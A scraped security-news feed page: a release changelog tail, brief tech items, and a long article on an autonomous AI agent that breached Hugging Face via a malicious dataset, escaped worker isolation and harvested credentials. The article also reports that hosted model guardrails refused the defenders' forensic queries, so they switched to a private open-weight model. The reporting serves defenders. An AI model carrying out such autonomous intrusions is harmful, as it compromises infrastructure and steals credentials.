  • Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
  • mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
  • Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

  • Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
  • Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
  • Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
  • Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
  • Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
  • computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
  • Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
  • CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
  • Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
  • Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
  • Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

  • iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
  • dynamic-workflow orchestration skill (landed, then reverted) — not shipping
  • memory provider-actions extension point (landed, then reverted) — not shipping
  • Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

đŸ‘„ Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

  • @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
  • @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
  • @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
  • @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
  • @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
  • @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
  • @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
  • @austinpickett — desktop custom endpoint settings
  • @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

  • @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
  • @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
  • @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
  • @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
  • @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
  • @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
  • @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
  • @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
  • @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
  • @vishal-dharm — Gemini request-context improvements
  • @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
  • @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
  • Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

]]> <![CDATA[Google's "Frozen v2" chip reportedly bakes Gemini's architecture directly into silicon for efficiency gains]]> https://tsecurity.de/de/3681956/ai-nachrichten/googles-frozen-v2-chip-reportedly-bakes-geminis-architecture-directly-into-silicon-for-efficiency-gains/ https://tsecurity.de/de/3681956/ai-nachrichten/googles-frozen-v2-chip-reportedly-bakes-geminis-architecture-directly-into-silicon-for-efficiency-gains/ Mon, 20 Jul 2026 20:34:33 +0200 🔧 AI Nachrichten tsecurity.de

Google is developing "Frozen v2," a server chip that bakes the Gemini architecture directly into hardware. According to internal sources, it could be 6 to 10 times more efficient than current TPUs. Scheduled for 2028, the chip would drastically cut Google's AI inference costs and could give the company a price advantage over OpenAI and Anthropic.

The article Google's "Frozen v2" chip reportedly bakes Gemini's architecture directly into silicon for efficiency gains appeared first on The Decoder.

]]> <![CDATA[At VB Transform 2026, Zillow's engineering chief said AI ROI numbers only hold up if you measure before you build]]> https://tsecurity.de/de/3681824/it-nachrichten/at-vb-transform-2026-zillows-engineering-chief-said-ai-roi-numbers-only-hold-up-if-you-measure-before-you-build/ https://tsecurity.de/de/3681824/it-nachrichten/at-vb-transform-2026-zillows-engineering-chief-said-ai-roi-numbers-only-hold-up-if-you-measure-before-you-build/ Mon, 20 Jul 2026 19:18:54 +0200 📰 IT Nachrichten tsecurity.de Zillow, the real estate technology company, doesn't get one conversation with its customers. They move from a phone screen to a loan officer to a real estate agent, sometimes over months or years, and expect the context to follow them. A single chatbot could never carry that thread.

At VB Transform 2026, Zillow SVP of Engineering Toby Roberts and Glean co-founder and CEO Arvind Jain described how they built AI architecture meant to carry context across that entire journey — and why context, not raw data, turned out to be the harder problem to solve. Zillow's products touch roughly 80% of U.S. real estate transactions each year, and the company has been using AI long before ChatGPT existed.

"We pretty quickly identified that we were going to need a persistent context layer that was going to meet our customers and the professionals wherever they were," Roberts said.

Data was never the hard part

Roberts said Zillow's AI effort started where most enterprise AI efforts start, with the data itself.

"We started with a large push around making sure our data did have the right foundation," Roberts said. That meant a data mesh approach, clear data lineage and a governance structure with permissions and identity attached to the data itself.

None of that turned out to be the hard problem. The hard problem was building something that remembered where a customer was in their journey and carried that forward, no matter which surface they showed up on next.

"This context layer has to live to be able to support you where you are at any given point in your journey," Roberts said. Zillow chose to own that layer itself rather than depend on a single external chat interface, a decision Roberts said the team reached quickly once it looked at the shape of a real transaction rather than a single conversation.

Why Zillow built its own architecture, and where Glean fits into it

Zillow built its own harness rather than route customers through a single model API. The team drew on 20 years of machine learning history behind products like Zestimate, leaning into smaller, task-specific fine-tuned models instead of one general-purpose model.

Internally, that harness runs alongside Glean. Roberts said Zillow now has thousands of Glean agents in production, handling repetitive tasks with tens of thousands of executions across the company. Glean's pitch, per Jain, is centralizing that integration work once, through the Glean MCP gateway, rather than letting finance, legal and marketing each rebuild their own connections to the same systems.

That centralization is also a cost lever. Jain pointed to two mechanisms: model routing, which sends most tasks to smaller, cheaper models instead of defaulting to frontier models, and precomputed context, which avoids an agent burning tokens assembling its own context from scratch.

"Claude is also very slow because the first part of assembling that context actually takes forever," Jain said. Routing that request through Glean instead, he said, can cut token consumption by as much as half.

What Zillow and Glean's approach means for enterprises

Across data, cost and permissions, the session offered a few practical takeaways for enterprises building agentic AI on their own systems.

Build the measurement baseline before the AI push, not after. Roberts said Zillow's ability to credibly attribute a 40% increase in shipped code to AI adoption rests on a DORA metrics baseline the team put in place years earlier, not on the AI rollout itself.

Centralize context once instead of letting every team rebuild it. Jain's core argument for Glean's platform is that duplicated integration work across finance, legal and marketing teams is a hidden cost most enterprises haven't accounted for.

Don't assume permission inheritance is enough for regulated data. Even with a permissions-aware context platform in place, Zillow layered hard rules and a standing compliance check on top for its most sensitive categories, rather than trusting the architecture to handle it automatically.

Treat context as a cost lever, not just a capability. Model routing and precomputed context were the two mechanisms Jain pointed to for cutting AI spend, both aimed at reducing wasted token consumption rather than adding new capability.

"Models by themselves are not enough to bring automation with AI inside your enterprise," Jain said. "You do have to connect it with your enterprise context."

]]> <![CDATA[How Couchbase built a multi-model AI architecture for Capella iQ with Amazon Bedrock]]> https://tsecurity.de/de/3681792/ai-nachrichten/how-couchbase-built-a-multi-model-ai-architecture-for-capella-iq-with-amazon-bedrock/ https://tsecurity.de/de/3681792/ai-nachrichten/how-couchbase-built-a-multi-model-ai-architecture-for-capella-iq-with-amazon-bedrock/ Mon, 20 Jul 2026 19:06:47 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[DSAG warnt vor Bildungsschulden bei SAP-Entwicklern]]> Die DSAG fordert Unternehmen auf, ihre ABAP-Entwickler gezielt fĂŒr moderne SAP-Technologien wie Clean Core und ABAP Cloud weiterzubilden.SAP Viele Unternehmen investieren derzeit mehrstellige MillionenbetrĂ€ge in die Mode...]]> https://tsecurity.de/de/3681715/it-security-nachrichten/dsag-warnt-vor-bildungsschulden-bei-sap-entwicklern/ https://tsecurity.de/de/3681715/it-security-nachrichten/dsag-warnt-vor-bildungsschulden-bei-sap-entwicklern/ Mon, 20 Jul 2026 19:01:00 +0200 📰 IT Security Nachrichten tsecurity.de
width="1024" height="682" sizes="auto, (max-width: 1024px) 100vw, 1024px">
Die DSAG fordert Unternehmen auf, ihre ABAP-Entwickler gezielt fĂŒr moderne SAP-Technologien wie Clean Core und ABAP Cloud weiterzubilden.

SAP

Viele Unternehmen investieren derzeit mehrstellige MillionenbetrÀge in die Modernisierung ihrer SAP-Landschaften. Doch nach EinschÀtzung der Deutschsprachigen SAP-Anwendergruppe (DSAG) wird dabei ein entscheidender Erfolgsfaktor hÀufig unterschÀtzt: die Qualifizierung der eigenen Entwickler.

In einer neuen Handlungsempfehlung fordert der Anwenderverband CIOs auf, die Weiterbildung von SAP-Entwicklern nicht als freiwillige Schulungsmaßnahme, sondern als strategisches Investitionsprogramm zu behandeln. Gut ausgebildete Entwickler seien die Voraussetzung fĂŒr stabile, wartbare Eigenentwicklungen ohne wachsende technische Schulden. Ohne Fortbildung beim Upgrade auf S/4HANA blieben die Potenziale der neuen Technologien ungenutzt.

Veraltetes Know-how wird zum Projektrisiko

Wie die Autoren ausfĂŒhren, verfĂŒgen zwar viele ABAP-Entwickler ĂŒber jahrzehntelange Erfahrung mit SAP R/3 oder ECC und besĂ€ĂŸen umfangreiches Prozesswissen. Mit S/4HANA, Clean Core und ABAP Cloud hĂ€tten sich die Entwicklungsparadigmen jedoch grundlegend verĂ€ndert.

Langfristig drohe dies zu schlechten Architekturentscheidungen, aufwendigen Workarounds und Eigenentwicklungen, die bei jedem Release nachgepflegt werden mĂŒssten, zu fĂŒhren, so die DSAG. Auch viele Business Consultants orientierten sich noch zu stark an klassischen GUI-Transaktionen und berĂŒcksichtigten moderne Fiori-Technologien zu wenig.

Die Folge seien sogenannte “Bildungsschulden”, meint die SAP-Anwendervereinigung. Diese blieben zunĂ€chst unsichtbar, machten sich spĂ€ter jedoch in Form lĂ€ngerer Projekte, steigender Wartungskosten und einer wachsenden AbhĂ€ngigkeit von externen Dienstleistern bemerkbar.

Kompetenzaufbau darf nicht erst im Projekt beginnen

Besonders kritisch sehen die DSAG-Autoren den Zeitpunkt der Weiterbildung. Wer erst wĂ€hrend eines laufenden S/4HANA-Migrationsprojekts mit dem Kompetenzaufbau beginne, erhöhe das Projektrisiko erheblich. Fehlendes Wissen ĂŒber CDS, RAP oder Fiori fĂŒhre zu Architekturentscheidungen, die spĂ€ter teuer korrigiert werden mĂŒssten. Gleichzeitig lasse sich der notwendige Lernaufwand kaum parallel zum TagesgeschĂ€ft bewĂ€ltigen.

Aber auch nach abgeschlossener Migration mĂŒssen sich die SAP-Entwickler laut DSAG weiter fortbilden. Wer danach so weiterarbeite wie auf ECC, verpasse die Möglichkeiten aktueller SAP-Technologien – auch wenn technisch alles noch funktioniere, warnen die Autoren. Gleichzeitig könnten sie das Gelernte gleich anwenden, womit sich das neue Wissen verfestigt.

KI ersetzt keine Entwicklerkompetenz

Laut DSAG gilt auch fĂŒr die Entwicklung im SAP-Umfeld: KI-Werkzeuge können zwar Code erzeugen und erklĂ€ren. Voraussetzung sei dabei jedoch, dass Entwickler die Ergebnisse auch fachlich bewerten könnten. „Nur wer versteht, was guter SAP-Code ist, kann KI als Beschleuniger einsetzen“, so die Autoren. Andernfalls fungiere KI als RisikoverstĂ€rker und beschleunige im schlimmsten Fall lediglich die Entstehung technischer Schulden.

Voraussetzung fĂŒr den erfolgreichen KI-Einsatz seien deshalb solide Software-Engineering-Kenntnisse, automatisierte Tests und ein VerstĂ€ndnis moderner SAP-Entwicklung.

Die fĂŒnf Empfehlungen der DSAG

Die DSAG empfiehlt CIOs deshalb, Weiterbildung fest in ihre Transformationsstrategie zu integrieren. Konkret nennt der Verband fĂŒnf Maßnahmen, nĂ€mlich:

  • verbindliche Lernpfade fĂŒr unterschiedliche Rollen wie ABAP-, CAP- oder Integrationsentwickler sowie Business Consultants zu definieren,
  • geeignete Sandbox- und Testumgebungen bereitzustellen,
  • Fortbildungszeiten verbindlich in die KapazitĂ€tsplanung aufzunehmen,
  • Schulungen zeitlich mit Migrations- und Modernisierungsprojekten zu verzahnen, sowie
  • bestehende DSAG-LeitfĂ€den als Referenzrahmen fĂŒr die Entwicklung zu nutzen.

]]> <![CDATA[USN-8570-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3681611/unix-server/usn-8570-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3681611/unix-server/usn-8570-1-linux-kernel-vulnerabilities/ Mon, 20 Jul 2026 18:18:42 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8569-1: Linux kernel (HWE) vulnerabilities]]> https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/ https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/ Mon, 20 Jul 2026 18:18:40 +0200 🐧 Unix Server tsecurity.de <![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]> https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ Mon, 20 Jul 2026 18:03:18 +0200 📰 IT Nachrichten tsecurity.de Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

Control Domain

What Broke

Monday Action

Dataset admission controls

Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.

Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.

Worker-to-node privilege boundaries

Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.

Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.

Credential exposure

Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.

Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.

Machine-speed detection

Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.

Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.

Private AI forensic capacity

Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.

Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.

Autonomous-agent threat modeling

The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.

Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

